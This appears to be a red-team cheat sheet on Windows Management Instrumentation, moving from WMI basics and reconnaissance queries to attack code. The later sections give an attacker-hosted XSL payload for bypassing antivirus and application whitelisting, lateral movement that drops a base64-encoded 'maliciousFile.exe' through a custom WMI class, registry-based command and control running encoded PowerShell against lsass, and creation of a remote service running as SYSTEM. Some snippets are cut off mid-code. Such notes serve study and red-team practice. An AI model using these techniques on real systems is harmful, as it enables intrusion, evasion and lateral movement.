WMI 101

WMI = Windows Management Instrumentation

--> Microsoft implementationn of CIM (Common Information Model) and WBEM (Web Based Enterprise Management).
--> Provides a uniform interface for applications/scripts to manage a local or remote computer or network.

WMIC = Command-Line interface for WMI

WMI Components


WMI utilities

  • wmic.exe
  • winrm.exe
  • wbemtest.exe
  • VBScript
  • JScript
  • IWbem COM API
  • .NET System.Management classes


  • wmis-pth
  • wmic

Manaed Object Format (MOF) files

Use to define WMI namespaces, classes, provides etc...

  • Stored in %WINDIR%\System32\Wbem\ directory with extension .mof
  • We can write our own MOF files to expand WMI


Generally, provider is associated with every MOF file.

  • A provider could be a DLL within %WINDIR%\System32\Wbem\ directory or could be othe type (Class, Instance, Event, Event Consumer, Method)
  • A provider just like a driver, works as a bridge between a managed object and WMI.

--> Provider main function is to provide access to classes.

Managed Objects

Managed object is the component being managed by WMI like process, service, operating systems etc...


Namespaces are crearted by providers and are used to divide classes logically.

Well known namespaces are :

  • root\cimv2
  • root\default
  • root\security
  • root\subscription


WMI repository is the database used to store static data (definitions) of classes.

  • Located in the %WINDIR%\System32\Wbem\Repository directory


Applications or scripts which can be used to interact with WMI classes for query of data or to run methods or to subscribe to events.

  • PowerShell
  • WMIC.exe
  • ...

Remote WMI Protocols


  • Port 135
  • Not firewall friendly
  • By default WMI service Winmgmt is running and listening on port 135.

Enumerate processes on remote system

Get-WmiObject -Class Win32_Process -ComputerName -Credential 'corp.local\admin'

WinRM / PowerShell Remoting

  • SOAP protocl based on the WSMan specification
  • 5985 (HTTP) or 5986 (HTTPS)


This can be used to bypass AV solution or Application Whitelisting.

XSL file to be hosted on attacker machine

<?xml version='1.0'?>
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	var r = new ActiveXObject("WScript.Shell").Run("calc");
	]]> </ms:script>

Retrieving and executing wmic command on victim

wmic os get /FORMAT:""

WMI with PowerShell

Listing WMI providers within PowerShell Version 2 cmdlet:

Get-Command -CommandType cmdlet *wmi*

Get-WmiObject : Retrieve instances
Invoke-WmiMethod : Run a method
Register-WmiEvent : Register WMI events
Remove-WmiObject : Remove an object
Set-WmiInstance : Modify the writable property of WMI object

PowerShell version 3 provides CIM (Common Information Model) cmdlets which uses WS-MAN and CIM standards to manage objects.

Get-Command -CommandType cmdlet *cim*

Cmdlet          Get-CimAssociatedInstance                     CimCmdlets
Cmdlet          Get-CimClass                                 CimCmdlets
Cmdlet          Get-CimInstance                              CimCmdlets
Cmdlet          Get-CimSession                               CimCmdlets
Cmdlet          Invoke-CimMethod                             CimCmdlets
Cmdlet          New-CimInstance                              CimCmdlets
Cmdlet          New-CimSession                               CimCmdlets
Cmdlet          New-CimSessionOption                         CimCmdlets
Cmdlet          Register-CimIndicationEvent                  CimCmdlets
Cmdlet          Remove-CimInstance                           CimCmdlets
Cmdlet          Remove-CimSession                            CimCmdlets
Cmdlet          Set-CimInstance                              CimCmdlets

--> Use of WS-MAN allows CIM cmdlets to be used against boxes where WMI blocked but WS-MAN (WinRM) is enabled. (even with PSv2 )

Listing all namespaces within root class

PS C:\>  Get-WmiObject -Namespace "root" -Class "__Namespace" 

Listing all namespaces only select the name property

PS C:\>  Get-WmiObject -Namespace "root" -Class "__Namespace" | select name
PS C:\>  Get-CimInstance -Namespace "root" -Class "__Namespace" | select name

Listing all namespaces nested into other namespaces, in our case root namespace (recursive approach)

function Get-WmiNamespace {
    Param (
    Get-WmiObject -Namespace $Namespace -Class __NAMESPACE | ForEach-Object {
        ($ns = '{0}\{1}' -f $_.__NAMESPACE,$_.Name)
        Get-WmiNamespace $ns

WMI host recon

  • Host/OS information: ROOT\CIMV2:Win32_OperatingSystem, Win32_ComputerSystem
  • File/directory listing: ROOT\CIMV2:CIM_DataFile
  • Disk volume listing: ROOT\CIMV2:Win32_Volume
  • Registry operations: ROOT\DEFAULT:StdRegProv
  • Running processes: ROOT\CIMV2:Win32_Process
  • Service listing: ROOT\CIMV2:Win32_Service
  • Event log: ROOT\CIMV2:Win32_NtLogEvent
  • Logged on accounts: ROOT\CIMV2:Win32_LoggedOnUser
  • Mounted shares: ROOT\CIMV2:Win32_Share
  • Installed patches: ROOT\CIMV2:Win32_QuickFixEngineering
  • Installed AV: ROOT\SecurityCenter[2]:AntiVirusProduct

List class containing "bios" string (by default it will request on root\cimv2 Namespace)

Get-WmiObject -Class *bios* -List

Get Information regarding the current hardware and system

PS C:\> Get-WmiObject -Class win32_bios

SMBIOSBIOSVersion : VMW71.00V.18452719.B64.2108091906
Manufacturer      : VMware, Inc.
Name              : VMW71.00V.18452719.B64.2108091906
SerialNumber      : VMware-f3 4f 09 a3 2f 43 66 1e-1c 27 a6 ad 02 bs dd aa
Version           : INTEL  - 6040000

Listing process running and filtering on explorer.exe

Get-WmiObject -Class Win32_Process -Filter "Name = 'explorer.exe'"

Listing specific process running using the Query parameter

Get-WmiObject -Query "select * from Win32_Process where Name = 'explorer.exe'"

Listing Anti-virus product

Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct

Listing folder within a directory

Get-CimInstance Win32_Directory -Filter "Name = 'C:\\Windows\\System32'" | Get-CimAssociatedInstance -Association Win32_Subdirectory | select Name
Get-WmiObject Win32_Directory -filter 'Drive="C:" and Path="\\"' | Format-Table name

Listing file with ini extension within C:\

Get-WmiObject CIM_DataFile -filter 'Drive="C:" and Path="\\Windows\\" and Extension="ini"' | Format-List *

Listing Services and state

Get-WmiObject -Class win32_service -computer "." -Namespace "root\cimv2" | format-list Name, State

Get processor architecture details

Get-WmiObject -Class Win32_Processor

List current logged accountlist installed patches wmi

Get-WmiObject -class Win32_ComputerSystem | Format-List Username

List installed security update

Get-Wmiobject -Class win32_quickfixengineering

List all process with their command line used to start

Get-WmiObject -Class "Win32_Process" -ComputerName "." | Format-List -Property CommandLine, Name

List specific process (cmd.exe) and command line used to start

Get-WmiObject -Class "Win32_Process" -ComputerName "." | where {($_.name -eq 'powershell.exe')} | Format-List -Property CommandLine, Name

Get-WmiObject -Class Win32_NTEventLogFile -ComputerName $strComputer | Where-Object {$_.LogFileName -eq 'security'}

Path to executables for running services and user runnning services

Get-WmiObject -Class Win32_Service | select Name, StartName, PathName

Remove WMI objects:
WMI returns live, editable, objects so you can for exemple kill a process using WMI.

Get-WmiObject -Class Win32_Process | Where-Object {$_.Name -eq "notepad.exe"} | Remove-WmiObject 

Searching for file recursively

function get-wmifile {
param (
 [Parameter(Mandatory = $true)]

if ($path.IndexOf('\\') -le 0 ){
  $path = $path.replace('\', '\\')

if ($path.IndexOf('*') -ge 0 ){
  $path = $path.replace('*', '%')

Write-Verbose -Message "Path to search: $path"

$folders = Get-CimInstance -ClassName Win32_Directory -Filter "Name LIKE '$path'"
foreach ($folder in $folders){
 if ($file) {
   Get-CimAssociatedInstance -InputObject $folder -ResultClassName CIM_DataFile |
   where Name -Like "*$file" |
   Select Name
 else {
   Get-CimAssociatedInstance -InputObject $folder -ResultClassName CIM_DataFile |
   Select Name

. ./get-wmifile.ps1
get-wmifile -path 'c:\Windows' -file 'unattend.xml'

Get owner of a specific process

Get-WmiObject Win32_Process -Filter "name='calculator.exe'" | Select Name, @{Name="UserName"; Expression={$_.GetOwner().Domain+"\"+$_.GetOwner().User}} | Sort-Object UserName, Name

Get owner for all process

Get-WmiObject Win32_Process | Select Name, @{Name="UserName"; Expression={$_.GetOwner().Domain+"\"+$_.GetOwner().User}} | Sort-Object UserName, Name

Detect virtualization

Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'

Finding interesting files: Queries all data files on the C: that have a name containing password.

wmic DATAFILE where "drive='C:' AND Name like '%password%'" GET Name,readable,size /VALUE

WMI Active Directory Recon

WMI can be used to get domain object information and realize Active Directory recon and enumeration.

Listing Domain Users

Get-WMIObject -Class Win32_UserAccount -Filter "DOMAIN = 'corp.local'"

List classes in the LDAP namespace

Get-WmiObject -Namespace root/directory/ldap -List

Get Current Domain

Get-WmiObject -Namespace root/directory/ldap -Class ds_domain | select -ExpandProperty ds_dc
(Get-WmiObject -Class Win32_ComputerSystem).Domain

Get domain policy

Get-WmiObject -Namespace root/directory/lda
Get all domain groups

Retrieve all member computers and filter only for the Domain Controller

Get-WmiObject -Namespace root/directory/ldap -Class ds_computer | Where-Object {$_.ds_userAccountControl -eq 532480} | select ds_cn

Get all domain users/groups

Get-WmiObject -Class win32_useraccount
Get-WmiObject -Class win32_group

Get names of all domain users and groups

Get-WmiObject -Class win32_useraccount | select name
Get-WmiObject -Class win32_GroupInDomain | Foreach-Object {[wmi]$_.PartComponent}

Get all domain users/groups of another domain with trust relationship

Get-WmiObject -Class win32_useraccount -Filter "Domain = 'childone'"
Get-WmiObject -Class win32_GroupInDomain | Where-Object {$_.GroupComponent -match "childone"} | Foreach-Object {[wmi]$_.PartComponent}

Get group membership of the domain admins group for the current and all trusted domains

Get-WmiObject -Class Win32_GroupUser | Where-Object {$_.GroupComponent -match "Domain Admins"} | Foreach-Object {[wmi]$_.PartComponent}

Get group membership for specific user

Get-WmiObject win32_GroupUser | Where-Object { $_.PartComponent -match "admin"} | Foreach-Object {[wmi]$_.GroupComponent}

WMI Methods

List all methods within ROOT\CIMV2 NameSpace

Get-WmiObject * -List | where-object {$_.Methods}
Get-CimClass -MethodName Create*

List all methods within by default ROOT\CIMV2 NameSpace in specific class

Get-WmiObject -Class Win32_process -List | select -ExpandProperty Methods

List parameters for specific method Create within the Win32_Proces within ROOT\Cimv2 NameSpace

Get-CimClass -Class Win32_process | select -ExpandProperty CimClassMethods | where name -eq "Create" | select -ExpandProperty Parameters

Invoke the previously enumerated method Create from Win32_Process class with calc.exe argument as parameter to pop up calc.exe process.

Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList calc.exe
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList @(calc.exe)

Association classes


Association classes are relationship between WMI classes which can be used to retrieve information about a managed object which is not available from a single class.

__RELPATH property of a WMI class can be used as key to list relationships of this class.

Get-wmiobject -class win32_networkadapter | select __RELPATH
Get-WmiObject -Query "Associators Of {Win32_NetworkAdapter.DeviceID=10} where ClassDefsOnly"

WMI Console (WMIC)


List process

wmic:root\cli> process get name 

Create a process

wmic:root\cli> process call create calc #Require validation
wmic.exe process call create calc #From CMD or PS shell will not require validation

Remote WMI

All WMI cmdlets support the -ComputerName parameter, this can be used for remote operations on remote computers.
--> Remote operation will require Administrative privileges
--> WMI use 2 protocols to remote connexion (for CIM cmdlest only through CIM sessions ) - DCOM : Distributed Component Object Model (port 135) - WinRM/WsMan : Windows Remote Management (port 5385/HTTP or 5386/HTTPS) -> FireWall and NAT friendly

--> By default WMI use 1 protocol to remote connexion - DCOM : Distributed Component Object Model (port 135)

Get-WmiObject -Class Win32_OperatingSystem -ComputerName -Credential company.local\jdoe
$sess = New-CimSession -ComputerName -Credential company.local\jdoe
Get-CimInstance -CimSession $sess -ClassName Win32_OperatingSystem 

Force DCOM usage

$sessionoptions = New-CimSessionOption -Protocol Dcom
$sess = New-CimSession -ComputerName -SessionOption $sessionoptions -Credential company.local\jdoe
Get-CimInstance -CimSession $sess -ClassName Win32_OperatingSystem

Registry key manipulation


WMI provides a class called StdRegProv for interacting with the Windows Registry.
--> An important point to note here is that we need to use the root\DEFAULT namespace for working with the registry
--> We can interact with Remote or Local box

List all the methods to play with Registry key from StdRegProv class

Get-WmiObject -NameSpace root\default -Class StdRegProv -List | Select -ExpandProperty Methods

WMI uses constant numeric values to identify different hives in the registry.


Also WMI uses different data type, and each data type can be accessed using a particular method in WMI.

MethodData TypeType valueFunction
GetStringValueREG_SZ1Returns a string
GetExpandedStringValueREG_EXPAND_SZ2Returns expanded references to env variables
GetBinaryValueREG_BINARY3Returns array of bytes
GetDWORDValueREG_DWORD4Returns a 32-bit number
GetMultiStringValueREG_MULTI_SZ7Returns multiple string values
GetQWORDValueREG_QWORD11Returns a 64-bit number

Enumerating HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion

Invoke-WmiMethod -Namespace root\default -Class stdregprov -Name EnumKey @(2147483650, "software\microsoft\windows nt\currentversion") | select -ExpandProperty snames, svalues

Reading values: Read subkey value aux under DRIVER32 key from HKLM Hive

Invoke-WmiMethod -Namespace root\default -Class stdregprov -Name GetStringValue @(2147483650, "software\microsoft\windows nt\currentversion\drivers32", "aux")

Using WMI you can set or remove registry key using some methods, but you need to use specific constant as for querying the Registry and validate you have rights to modify a specific key.

Validating we have access to a specific registry item. We would need constants defining the access levels to the key.

KEY_QUERY_VALUE1Query the values of a registry key
KEY_SET_VALUE2Create, delete, or set a registry value
KEY_CREATE_SUB_KEY4Create a subkey of a registry key
KEY_ENUMERATE_SUB_KEYS8Enumerate the subkeys of a registry key
KEY_NOTIFY16Change notifications for a registry key or for subkeys of a registry key
KEY_CREATE32Create a registry key
DELETE65536Delete a registry key
WRITE_DAC262144Modify the DACL in the object’s security descriptor
WRITE_OWNER524288Change the owner in the object’s security descriptor

You will first need to check the permission for the key you want to modify, in our case 32 to KEY_CREATE

Invoke-WmiMethod -Namespace root\default -Class stdregprov -Name CheckAccess @(2147483649, "software\microsoft\windows\currentversion\run", 32)

This will return a BGRANTED property within the output: True = Privileges Ok to 32 action (32 = KEY_CREATE)

Usefull scripts:

Recon and information gathering

Listing user account present on a system and on the domain with SID. Warning: Because both the Name and Domain are key properties, enumerating Win32_UserAccount on a large network can negatively affect performance.

Get-WmiObject -Class Win32_UserAccount


To only list local user account using Win32_UserAccount and avoid reaching domain controller you can try the following script.


function Get-WmiLocalUserAccount
    Gets a WMI `Win32_UserAccount` object for a *local* user account.
    Man, there are so many ways to get a user account in Windows. This function uses WMI to get a local user account. It returns a `Win32_UserAccount` object. The username has to be less than 20 characters. We don't remember why anymore, but it's probaly a restriction of WMI. Or Windows. Or both.
    You can do this with `Get-WmiObject`, but when you try to get a `Win32_UserAccount`, PowerShell reaches out to your domain and gets all the users it finds, even if you filter by name. This is slow! This function stops WMI from talking to your domain, so it is faster.
    Get-WmiLocalUserAccount -Username Administrator
    Gets the local Administrator account as a `Win32_UserAccount` WMI object.
        # The username of the local user to get.
    Set-StrictMode -Version 'Latest'

    Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState
    return Get-WmiObject Win32_UserAccount -Filter "Domain='$($env:ComputerName)' and Name='$Username'"

Listing local and domain groups

Get-WmiObject -Class Win32_Group

Create shadow copy of C: Drive

(Get-WmiObject -Class Win32_ShadowCopy -List).create("C:\", "ClientAccessible")

Create a symlink for the created shadow copy

$link = (Get-WmiObject -Class Win32_ShadowCopy).DeviceObject + "\"
cmd /c mklink /d C:\shadowcopy "$link"


Extracts and decrypts saved session information for software typically used to access Unix systems. Invoke-SessionGopher.ps1

Lateral movement

WMI Attacks – C2 Communication (WMI Class) – “Push” Attack

First Step - Push file contents to remote WMI repository

# Prep file to drop on remote system
$LocalFilePath = 'C:\Users\lutz\Documents\maliciousfile.exe'
$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)
# Establish remote WMI connection
$Options = New-Object Management.ConnectionOptions
$Options.Username = 'Administrator'
$Options.Password = 'user'
$Options.EnablePrivileges = $True
$Connection = New-Object Management.ManagementScope
$Connection.Path = '\\\root\default'
$Connection.Options = $Options
# "Push" file contents
$EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty, $null)
$EvilClass['__CLASS'] = 'Win32_EvilClass'
$EvilClass.Properties.Add('EvilProperty', [Management.CimType]::String, $False)
$EvilClass.Properties['EvilProperty'].Value = $EncodedFileContentsToDrop

Second Step - Drop file contents to remote system

$Credential = Get-Credential 'CORP.local\admin'
$CommonArgs = @{
Credential = $Credential
ComputerName = ''
$PayloadText = @'
$EncodedFile = ([WmiClass] 'root\default:Win32_EvilClass').Properties['EvilProperty'].Value
[IO.File]::WriteAllBytes('C:\reconstructedMaliciousFile.exe', [Convert]::FromBase64String($EncodedFile))
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText))
$PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload"
# Drop it like it's hot
Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
# Confirm successful file drop
Get-WmiObject @CommonArgs -Class CIM_DataFile -Filter 'Name = "C:\\reconstructedMaliciousFile.exe"'

WMI Attacks – C2 Communication (Registry) – “Pull” Attack

First Step - Registry Key creation

$Credential = Get-Credential 'CORP.local\admin'
$CommonArgs = @{
Credential = $Credential
ComputerName = ''
$HKLM = 2147483650
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name CreateKey -ArgumentList $HKLM,
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name DeleteValue -ArgumentList $HKLM,
'SOFTWARE\EvilKey', 'Result'

Second Step - Retrieving payload in registry

$PayloadText = @'
$Payload = {Get-Process lsass}
$Result = & $Payload
$Output = [Management.Automation.PSSerializer]::Serialize($Result, 5)
$Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Output))
Set-ItemProperty -Path HKLM:\SOFTWARE\EvilKey -Name Result -Value $Encoded
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText))
$PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload"
Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
$RemoteOutput = Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name GetStringValue -
ArgumentList $HKLM, 'SOFTWARE\EvilKey', 'Result'
$EncodedOutput = $RemoteOutput.sValue
$DeserializedOutput =

Command Execution Win32_Service

We can create a service on a remote machine using WMI to execute commands and scripts.

$SericeType = [byte] 16
$ErrorControl = [byte] 1

Invoke-WmiMethod -Class Win32_Service -Name Create -ArgumentList $false, "Windows Performance", $ErrorControl, $null, $null, "WinPerf", "C:\Windows\System32\calc.exe", $null, $ServiceType, "Manual", "NT AUTHORITY\SYSTEM", ""

Start the previously created service

Get-WmiObject -Class Win32_Service -Filter 'Name = "WinPerf"' | Invoke-WmiMethod -Name StartService

WMI Persistence

Malicious WMI providers

Attacker can create custom malicious WMI providers in order to backdoor a system.

Win32_LocalAdmins provider

Creates a class called Win32_LocalAdmins in hte root\cimv2 namespace which can be used to list all local administrators.

EvilNetConnection WMI Provider

WMI provider which when installed provides ability to execute PowerShell command with SYSTEM privileges.

  • Needs elevated privileges to be installed
  • PowerShell.exe is not used to execute the payload

EvilWMIProvider (SubTee)

WMI Backdoor

MOF files

The list of MOF files for autorecovery is stored here :

  • HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\Autorecover MOFs
  • C:\Windows\system32\wbem\AutoRecover

WMI Event Subscriptions

WMI has an event infrastructure which provides the capability of receiving notifications and respond to changes happening on a system.

--> Synchronous and Asynchronous event queries can be created.


BlackHat US 2015: Abusing WMI to built a persistent, asyncronous, and fileless backdoor.


WMI for Script Kiddies

Usefull WMIC queries for host and domain enumeration

Red Team handbook WMI command

NoLimitSecu French Podcast dedicated to WMI

Andrei Dumitrescu - OCD

Backdoor with WMI